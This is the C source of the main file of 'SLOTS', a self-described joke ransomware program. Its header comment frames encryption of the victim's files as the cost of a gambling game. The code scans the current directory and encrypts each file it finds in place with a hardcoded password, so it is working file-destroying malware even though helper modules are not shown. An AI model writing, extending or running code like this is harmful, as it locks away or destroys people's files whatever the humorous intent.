/*** * SLOTS - Feelin' Lucky? * * SLOTS is ransomware that uses (shitty) encryption to "encourage" the reluctant gambler. You get 3 free spins to get a jackpot, further spins "cost" money. * This malware is meant primarily as a joke, not as something meant to damage someone's system. While it CAN damage someone's computer and lock their files away, it * also prints out the key required to decrypt affected files if someone isn't too keen on losing their shit * * */ #define _GNU_SOURCE #include "main.h" #include "encryption.h" #include "search.h" #include "ll.h" #include #include #include #include #include #include int main() { // Get folders struct nodelist *files = scanfiles("./", alphasort); // Encrypt those files for(struct nodelist *p = files; p != NULL; p = p->next) { int fd = open(p->fullpath, O_RDWR); if(fd < 0) { error(0, errno, "Couldn't open file \"%s\" for some reason", p->fullpath); continue; } passencblock(fd, "We do a little trolling"); close(fd); } nodelist_delete(files); return 0; }